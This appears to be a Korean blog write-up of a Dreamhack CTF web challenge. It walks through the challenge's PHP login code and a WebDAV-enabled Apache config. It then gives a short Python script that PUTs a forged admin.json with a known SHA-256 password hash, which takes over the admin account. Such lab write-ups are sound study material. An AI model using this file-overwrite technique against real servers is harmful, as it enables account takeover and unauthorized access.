Study/Web Hacking
[DreamHeck] Really Not SQL
얀 짱
2026. 7. 21. 21:42
먼저 login.php에서 이렇게 코드를 분석함.
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$userDir = __DIR__ . '/user/';
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$filename = $username . '.json'; # admin.json, guest.json
$filepath = $userDir . $filename; # /user/admin.json 이런 식의 경로
if ($username !== "admin" && $username !== "guest") {
$error = "User not found";
} else {
$userData = json_decode(file_get_contents($filepath), true); # JSON 형식의 문자열을 PHP 배열이나 객체로 변환하는 함수
if ($userData['id'] !== $username){
$error = "Error occured";
} else if ($userData['password'] !== hash("sha256", $password)) { # sha256 해시값
$error = "Invalid password";
} else {
$_SESSION['user'] = $username;
$success = true;
}
}
}
?>
그리고나서 guest.json을 보고
{"no": 1, "id": "guest", "password": "84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec"} // 비번 guest
여기서 password가 hash256 이므로 https://crackstation.net/이 사이트에서 크래커를 해봄.
그랬더니 비번이 guest가 나옴.
admin도 같은 방법으로 해봤는데 안됐음.. 그래서 000-default.conf이 파일을 봄.
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/html/user/>
DAV On # 특정 디렉터리나 위치에서 WebDAV 기능을 활성화하여 원격으로 파일을 관리하고 편집할 수 있도록 허용 -> 수정 가능..??
Options Indexes
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
DAV On이 부분이 취약점이었음.
그래서 새로 파일을 하나 만들었음. password는 admin을 해시값으로 변경해서 넣었음.
import requests
url = "http://host3.dreamhack.games:12936/user/admin.json"
data = {"no": 0, "id": "admin", "password": "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"}
res = requests.put(url, json=data)
그렇게 했더니 admin/admin으로 다 잘 로그인이 됨.
그다음에 flag.php 파일을 확인하여 flag 값이 어디에 배치되어 있는지 확인함.
http://host3.dreamhack.games:12936/flag.php 이 경로로 플래그를 찾음.